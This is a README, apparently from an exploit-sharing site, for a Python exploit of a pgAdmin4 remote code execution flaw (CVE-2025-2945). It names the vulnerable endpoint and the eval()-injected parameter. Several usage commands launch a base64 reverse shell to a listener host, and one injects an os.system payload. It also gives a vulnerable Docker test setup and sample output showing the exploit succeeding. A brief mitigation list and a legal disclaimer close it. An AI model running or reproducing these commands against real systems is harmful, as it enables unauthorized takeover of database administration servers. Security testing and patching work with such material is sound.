Exploit for Code Injection in Pgadmin Pgadmin_4

## https://sploitus.com/exploit?id=9F6331E5-5DA3-590D-8EF1-8E9CACCF837D
# CVE-2025-2945 - pgAdmin4 Authenticated RCE Exploit

**Author:** G0D150NE 
**Version:** 2.0.0  
**CVE:** CVE-2025-2945  
**Severity:** Critical (CVSS 9.9)


## 📌 Description

Exploit for **pgAdmin4 Remote Code Execution (RCE)** vulnerability affecting versions **8.10 to 9.1**.

The vulnerability exists in the `/sqleditor/query_tool/download` endpoint where the `query_commited` parameter is passed unsanitized to Python's `eval()` function, allowing arbitrary code execution.


## ⚡ Features

- ✅ Automatic version detection
- ✅ CSRF token harvesting from multiple sources
- ✅ Server/Group ID enumeration
- ✅ Reverse shell payload (base64 encoded)
- ✅ Custom payload support
- ✅ Verbose debug mode
- ✅ Colorful console output
- ✅ SSL verification bypass


## 🚀 Installation

```bash
# Clone or download the script
git clone https://github.com/g0d150ne/CVE-2025-2945
cd CVE-2025-2945

# Install dependencies
pip install requests
```


## 🎯 Usage

Basic Usage

```bash
python3 poc.py \
  --target-url http://target:5050 \
  --username admin@pgadmin.com \
  --password admin123 \
  --db-user postgres \
  --db-pass postgres \
  --db-name postgres \
  --Rhost 10.10.14.7 \
  --Rport 4444
```

With Verbose Output

```bash
python3 poc.py \
  --target-url http://target:5050 \
  --username admin@pgadmin.com \
  --password admin123 \
  --db-user postgres \
  --db-pass postgres \
  --db-name postgres \
  --Rhost 10.10.14.7 \
  --Rport 4444 \
  -v
```

Custom Payload

```bash
python3 poc.py \
  --target-url http://target:5050 \
  --username admin@pgadmin.com \
  --password admin123 \
  --db-user postgres \
  --db-pass postgres \
  --db-name postgres \
  --Rhost 10.10.14.7 \
  --Rport 4444 \
  --custom-payload "__import__('os').system('whoami > /tmp/test.txt')"
```

Skip Version Check

```bash
python3 poc.py \
  --target-url http://target:5050 \
  --username admin@pgadmin.com \
  --password admin123 \
  --db-user postgres \
  --db-pass postgres \
  --db-name postgres \
  --Rhost 10.10.14.7 \
  --Rport 4444 \
  --skip-version-check
```


## 📊 Arguments

Argument Required Description
--target-url Yes Base URL of pgAdmin4 (http://RHOST:PORT/)
--username Yes pgAdmin4 login email
--password Yes pgAdmin4 login password
--db-user Yes Database username
--db-pass Yes Database password
--db-name Yes Database name
--Rhost Yes Listener IP for reverse shell
--Rport Yes Listener port for reverse shell
--max-server-id No Max server ID to scan (default: 10)
--skip-version-check No Skip version verification
--custom-payload No Custom Python payload
--verbose, -v No Enable debug output
--no-banner No Hide banner


## 📋 Requirements

· Python 3.6+
· requests library

```bash
pip install requests
```


## 🧪 Testing Environment

```bash
# Docker pgAdmin vulnerable version
docker run -d -p 5050:5050 \
  -e PGADMIN_DEFAULT_EMAIL=admin@pgadmin.com \
  -e PGADMIN_DEFAULT_PASSWORD=admin123 \
  dpage/pgadmin4:8.10

# Then run the exploit
python3 poc.py \
  --target-url http://localhost:5050 \
  --username admin@pgadmin.com \
  --password admin123 \
  --db-user postgres \
  --db-pass postgres \
  --db-name postgres \
  --Rhost 10.10.14.7 \
  --Rport 4444
```


## 🖥️ Example Output

```
   ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄ 
  ▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌
  ▐░█▀▀▀▀▀▀▀▀▀ ▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀▀▀ ▐░█▀▀▀▀▀▀▀▀▀ 
  ▐░▌          ▐░▌       ▐░▌▐░▌       ▐░▌▐░▌          ▐░▌          
  ▐░█▄▄▄▄▄▄▄▄▄ ▐░█▄▄▄▄▄▄▄█░▌▐░▌       ▐░▌▐░█▄▄▄▄▄▄▄▄▄ ▐░▌          
  ▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░▌       ▐░▌▐░░░░░░░░░░░▌▐░▌          
   ▀▀▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀█░▌▐░▌       ▐░▌ ▀▀▀▀▀▀▀▀▀█░▌▐░▌          
            ▐░▌▐░▌       ▐░▌▐░▌       ▐░▌          ▐░▌▐░▌          
   ▄▄▄▄▄▄▄▄▄█░▌▐░▌       ▐░▌▐░█▄▄▄▄▄▄▄█░▌ ▄▄▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄▄▄ 
  ▐░░░░░░░░░░░▌▐░▌       ▐░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌
   ▀▀▀▀▀▀▀▀▀▀▀  ▀         ▀  ▀▀▀▀▀▀▀▀▀▀▀  ▀▀▀▀▀▀▀▀▀▀▀  ▀▀▀▀▀▀▀▀▀▀▀ 
   
   CVE-2025-2945 - pgAdmin4 Authenticated RCE
   Author: G0D150NE
   Version: 2.0.0

[*] Target running vulnerable version 8.10
[*] Authenticating as admin@pgadmin.com...
[+] Authentication successful
[*] Scanning for valid server (SGID: 7, max: 10)...
[+] Found valid server (SGID: 7, SID: 1)
[*] Initializing SQL editor (trans_id: 4827193)...
[+] SQL editor initialized
[*] Reverse shell payload to 10.10.14.7:4444
[*] Sending payload...
[+] Payload delivered (HTTP 500)
[*] Check listener at your endpoint
[+] Exploit successful!
[*] Check reverse shell on 10.10.14.7:4444
```


## 🛡️ Mitigation

· Upgrade pgAdmin4 to version 9.2 or higher
· Restrict access to pgAdmin interface
· Use strong credentials
· Enable MFA if available


## ⚠️ Disclaimer

This tool is for authorized security testing and educational purposes only. Usage against systems without explicit permission is illegal. The author assumes no responsibility for any misuse.


## 🔗 References

· CVE-2025-2945
· pgAdmin Security Advisory


## 📄 License

MIT License